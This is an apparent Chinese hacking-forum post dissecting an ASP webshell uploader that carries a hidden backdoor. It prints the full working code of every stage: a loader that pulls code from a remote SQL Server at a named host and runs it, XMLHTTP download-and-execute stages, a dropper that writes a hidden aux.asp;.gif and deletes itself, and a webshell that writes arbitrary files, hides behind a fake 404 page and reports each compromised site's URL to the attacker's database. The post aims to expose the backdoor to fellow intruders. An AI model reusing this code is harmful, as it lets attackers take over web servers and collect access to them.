-
关注Ta
-
- 注册时间 2010-01-25
- 最后登录 2017-05-02
-
- 发帖12110
- 在线1343小时
- 精华0
- DB5229
- 威望33722
- 保证金0
- 桃子0
- 鲜花0
- 鸡蛋0
-
访问TA的空间加好友用道具
|
高级脚本“小马”的后门发现之旅 New4[D.S.T] 前言:先是到我们暗组论坛看到如下帖子《黑站必备-超强隐藏后门。ASP无敌上传器》,并有人回复说有个域名不知道干什么用的,由于好奇心就下载来看并有了下面的文章。 图1 帖子内容 不看不知道一看吓一跳,这脚本不但高级而且最后还有一手,留了一个后门! 为什么说他高级?因为他用的一些技巧从来没见过,使用了SQL Server+Microsoft.XMLHTTP+404错误页面伪装,让代码可以远程动态获取和多次执行,如果使用者调用小马错误还返回一个200错误号的404错误页面囧!这样小黑以为刚刚上传的小马被杀了,这样也就给了他一个利用后门的机会。起码小黑不会帮他把这个小马删了,至于最后怎么正确调用请继续看往下看嘿。 下面是作者提供的小马后门: - <%password="123456" '这里123456换成您的密码,密码只能为英文或数字%>
- <%'无%>
- <%'敌%>
- <%'上%>
- <%'传%>
- <%'器%>
- <%BY01="hmserver"%>
- <%BY02="8866"%>
- <%BY03="org"%>
- <%BYJH="."%>
- <%CODE="888"%>
- <%BYLJ1="provider=sqloledb;"%>
- <%BYLJ2="server="&BY01&BYJH&BY02&BYJH&BY03&";"%>
- <%BYLJ3="uid="&CODE&";"%>
- <%BYLJ4="pwd="&CODE&";"%>
- <%BYLJ5="database="&CODE&";"%>
- <%Set amconn=Server.CreateObject("ADODB.Connection")%>
- <%amconn.open BYLJ1&BYLJ2&BYLJ3&BYLJ4&BYLJ5%>
- <%sqlam="select * from code"%>
- <%set rsam=amconn.execute(sqlam)%>
- <%amtxt=rsam("txt")%>
- <%amtxt=replace(amtxt,"amsql=""password""","amsql="""&password&"""")%>
- <%execute(amtxt)%>
- <%rsam.close%>
- <%set rsam=nothing%>
- <%amconn.close%>
- <%set amconn=nothing%>
复制代码仔细看看上面已经有域名,也就是后面帖子为什么说有的原因了(太明文了)。判断是不是数据库操作我们只要看这个“ADODB.Connection”或“select * from code”前者是创建一个ADO操作数据库的连接,后者则是操作数据库的SQL语句,那小黑就要问了,如何发现最后的秘密呢? 下面我们有两种方法:1.利用抓包软件在服务器(执行ASP那端)上运行抓包看明文;2.自己通过SQL查询分析器连接过去执行SQL语句查询,如图2、3所示,连接帐号、密码、数据库都是888,查询分析器复制的内容不完整可能跟数据类型有关系,查询分析器不能完全显示,大家通过SQL企业管理器查看就完整了。如果大家觉得太麻烦或者没安装SQL Server完整版,那就用下面方法吧。如图4,找一款Sniffer嗅探软件进行数据包抓捕就可以看到所传输的代码,好处是移动方便完全绿色。 图2连接SQL服务器 图3执行SQL语句 图4抓到的数据包 抓包的代码如下: - amsql="password"
- BY01="http"
- BY02="hmserver"
- BY03="8800"
- BY04="org"
- BYXG="/"
- BYJH="."
- BYMH=":"
- BYQZ="sql_"
- BYHZ="sc.txt"
- BYDK="888"
- BYURL=BY01&BYMH&BYXG&BYXG&BY02&BYJH&BY03&BYJH&BY04&BYMH&BYDK&BYXG&BYQZ&BYHZ
- Set amxml = Server.CreateObject("MSXML2.ServerXMLHTTP")
- amxml.open "GET",BYURL,false
- amxml.send()
- amtxt=amxml.responseText
- amtxt=replace(amtxt,"amsc=""password""","amsc="""&password&"""")
- execute(amtxt)
复制代码上面的代码没什么意思,就一个利用XMLHTTP的下载的方法。我们在继续跟找到sql_sc.txt的代码: - amsc="password"
- BYAM="http://hmserver.8800.org:888/hk_"
- Function GetUrl()
- ScriptAddress=CStr(Request.ServerVariables("SCRIPT_NAME"))
- Servername=CStr(Request.ServerVariables("Server_Name"))
- findfilename=right(ScriptAddress,len(ScriptAddress)-instrrev(ScriptAddress,"/"))
- GetUrl="http://"& Servername & ScriptAddress
- Geturl=replace(Geturl,findfilename,"")
- End Function
- Function GetBody(Url)
- Dim objXML
- On Error Resume Next
- Set objXML=CreateObject("Microsoft.XMLHTTP")
- With objXML
- .Open "Get", Url, False, "", ""
- .Send
- GetBody=.ResponseBody
- End With
- GetBody=BytesToBstr(GetBody,"GB2312")
- Set objXML=Nothing
- End Function
- Function BytesToBstr(strBody,CodeBase)
- dim objStream
- set objStream=Server.CreateObject("Adodb.Stream")
- objStream.Type=1
- objStream.Mode=3
- objStream.Open
- objStream.Write strBody
- objStream.Position=0
- objStream.Type=2
- objStream.Charset=CodeBase
- BytesToBstr=objStream.ReadText
- objStream.Close
- set objStream=nothing
- End Function
- Function WriteFile(StrContent,Foldername,fileExt,fname)
- dim myfos,TheFile,Filename,TheFolder,ThefileExt
- Set myfos=Server.CreateObject("Scripting.FileSystemObject")
- TheFolder ="./"
- ThefileExt=".txt"
- If Foldername<>"" Then TheFolder=Foldername
- If ThefileExt<>"" Then ThefileExt=fileExt
- TheFolder=Server.MapPath(TheFolder)
- If myfos.FolderExists(TheFolder)=False Then
- myfos.CreateFolder(TheFolder)
- End If
- If fname="" Then
- Filename =Replace(Cstr(time()),":",".")
- Else
- Filename=fname
- End If
- TheFile="\\.\"&TheFolder & "\" & Filename & ThefileExt
- set fs=Server.CreateObject("Scripting.FileSystemObject")
- IF fs.FileExists(TheFile) then
- response.write "<script>self.location="""&Geturl&fname&fileext&"?password="&amsc&""";</script>"
- Else
- Set ff=fs.CreateTextFile(TheFile)
- set ff=nothing
- response.write "<script>self.location="""&Geturl&fname&fileext&"?password="&amsc&""";</script>"
- END IF
- set f=fs.GetFile(TheFile)
- f.Attributes=0
- Set mytxt=myfos.OpenTextFile(TheFile,2,True)
- mytxt.Write StrContent
- f.Attributes=1+2+4
- If err.number<>0 Then
- WriteFile=0
- End If
- mytxt.close
- set f=nothing
- set fs=nothing
- set myfos=nothing
- set mytxt=nothing
- End Function
- aux=GetBody(BYAM&"asp.txt")
- aux=replace(aux,"amasp=""password""","amasp="""&amsc&"""")
- CALL WriteFile(aux,"",".gif","aux.asp;")
- scname=Request.ServerVariables("script_name")
- postion=InstrRev(scname,"/")+1
- scname=Mid(scname,postion)
- If InStr(scname,"?")>0 Then
- arrName=scname
- arrName=Split(arrName,"?")
- scname=arrName(0)
- End If
- s=Server.MapPath(scname)
- Set fso=CreateObject("Scripting.FileSystemObject")
- If fso.FileExists(s) Then
- fso.Deletefile(s)
- End If
- Set fso=Nothing
复制代码这段就是写小马的核心部分了,操作大概意思是在通过XMLHTTP下载将最后的小马代码,保存到服务器上文件名为:aux.asp;.gif(不知道作者为什么要这样取名,如果他是 Win2000系统呢那不是执行不起来?),代码我就简单分析到这里,下面继续跟hk_asp.txt文件由于这代码跟抓包的一样也是XMLHTTP下载“hk_aux.txt”,这里我就直接贴hk_aux.txt的代码了: - amaux="password"
- if request("password")=amaux then
- session(amaux)="ok"
- else
- session(amaux)="no"
- end if
- if session(amaux)="ok" then
- Response.write("<title>ASP无敌上传器</title>")
- on error resume next
- testfile=Request.form("N")
- msg=Request.form("M")
- set fs=server.CreateObject("scripting.filesystemobject")
- set thisfile=fs.OpenTextFile(testfile,8,True,0)
- thisfile.WriteLine(""&msg& "")
- thisfile.close
- set fs = nothing
- Response.write("<form method=""POST"" ACTION="""">")
- Response.write("<input type=""text"" size=""40"" name=""N"" value="&server.mappath("/")&"\新建文件名.asp>")
- Response.write("<input type=""submit"" name=""Send"" value=""无敌上传"" class=input><BR>")
- Response.write("<textarea name=M cols=50 rows=7 width=15></textarea>")
- Response.write("</form>")
- Function GetLocationURL()
- Dim Url
- Dim ServerPort,ServerName,ScriptName,QueryString
- ServerName = Request.ServerVariables("SERVER_NAME")
- ServerPort = Request.ServerVariables("SERVER_PORT")
- ScriptName = Request.ServerVariables("SCRIPT_NAME")
- QueryString = Request.ServerVariables("QUERY_STRING")
- Url="http://"&ServerName
- If ServerPort <> "80" Then Url = Url & ":" & ServerPort
- Url=Url&ScriptName
- If QueryString <>"" Then Url=Url&"?"& QueryString
- GetLocationURL=Url
- End Function
- geturl=LCASE(GetLocationURL())
- BY01="hmserver"
- BY02="8866"
- BY03="org"
- BYJH="."
- CODE="url"
- BYLJ1="Driver={SQL Server};"
- BYLJ2="server="&BY01&BYJH&BY02&BYJH&BY03&";"
- BYLJ3="uid="&CODE&";"
- BYLJ4="pwd="&CODE&";"
- BYLJ5="database="&CODE&";"
- set rs=server.CreateObject("adodb.recordset")
- conn=""&BYLJ1&BYLJ2&BYLJ3&BYLJ4&BYLJ5&""
- sql="select * from url where url='"&geturl&"'"
- rs.open sql,conn,1,3
- if rs.bof and rs.eof then
- rs.addnew
- rs("url")=geturl
- rs.update
- rs.close
- conn.close
- set rs=nothing
- set conn=nothing
- end if
- Response.write "请记住完整安全地址,只有完整才能登陆<br>"&geturl
- response.end
- else
- Response.Write "<!DOCTYPE HTML PUBLIC ""-//W3C//DTD HTML 4.01//EN"" ""http://www.w3.org/TR/html4/strict.dtd"">"
- Response.Write "<HTML><HEAD><TITLE>无法找到该页</TITLE>"
- Response.Write "<META HTTP-EQUIV=""Content-Type"" Content=""text/html; charset=GB2312"">"
- Response.Write "<STYLE type=""text/css""> "
- Response.Write " BODY { font: 9pt/12pt 宋体 }"
- Response.Write " H1 { font: 12pt/15pt 宋体 }"
- Response.Write " H2 { font: 9pt/12pt 宋体 }"
- Response.Write " A:link { color: red }"
- Response.Write " A:visited { color: maroon }"
- Response.Write "</STYLE>"
- Response.Write "</HEAD><BODY><TABLE width=500 border=0 cellspacing=10><TR><TD>"
- Response.Write "<h1>无法找到该页</h1>"
- Response.Write "您正在搜索的页面可能已经删除、更名或暂时不可用。"
- Response.Write "<hr>"
- Response.Write "<p>请尝试以下操作:</p>"
- Response.Write "<ul>"
- Response.Write "<li>确保浏览器的地址栏中显示的网站地址的拼写和格式正确无误。</li>"
- Response.Write "<li>如果通过单击链接而到达了该网页,请与网站管理员联系,通知他们该链接的格式不正确。"
- Response.Write "</li>"
- Response.Write "<li>单击<a href=""javascript:history.back(1)"">后退</a>按钮尝试另一个链接。</li>"
- Response.Write "</ul>"
- Response.Write "<h2>HTTP 错误 404 - 文件或目录未找到。<br>Internet 信息服务 (IIS)</h2>"
- Response.Write "<hr>"
- Response.Write "<p>技术信息(为技术支持人员提供)</p>"
- Response.Write "<ul>"
- Response.Write "<li>转到 <a href=""http://go.microsoft.com/fwlink/?linkid=1986"">Microsoft 产品支持服务</a>并搜索包括“HTTP”和“404”的标题。</li>"
- Response.Write "<li>打开“IIS 帮助”(可在 IIS 管理器 (inetmgr) 中访问),然后搜索标题为“网站设置”、“常规管理任务”和“关于自定义错误消息”的主题。</li>"
- Response.Write "</ul>"
- Response.Write "</TD></TR></TABLE></BODY></HTML>"
- Response.end
- end if
复制代码以上代码就是他小马的精华部分了,而隐藏的后门也暴露在其中。小马调用方法“aux.asp;.gif?password=123456”,如果密码错误就输出伪造的404错误页面,其实标记200的谁看不出来,骗骗小黑还行。而后门就放在Function GetLocationURL()函数里,其实就是通过SQL将该后门地址“上报”,我们只要用SQL查询分析器查就能把他收集的所有Webshell地址列出来(部分首页被挂马),如图5,如果你耐心将整个流程看完,发现过程也没什么技术含量主要是要有耐心,作者使用了3次XMLHTTP如果你耐心不够,使无法发现其后门所在! 图5 所有收集的后门地址 如果在看他ASP代码发现部分使用变量分段不易读的,可以用如下代码进行组合: - <%
- BY01="http"
- BY02="hmserver"
- BY03="8800"
- BY04="org"
- BYXG="/"
- BYJH="."
- BYMH=":"
- BYQZ="sql_"
- BYHZ="sc.txt"
- BYDK="888"
- BYURL=BY01&BYMH&BYXG&BYXG&BY02&BYJH&BY03&BYJH&BY04&BYMH&BYDK&BYXG&BYQZ&BYHZ
- Response.Write(BYURL) '输出变量
- %>
复制代码后记:小马也是可以带后门的,请大家以后使用脚本木马要注意查后门,防止被利用导致网站被恶意挂马,那我们就成帮凶了!
|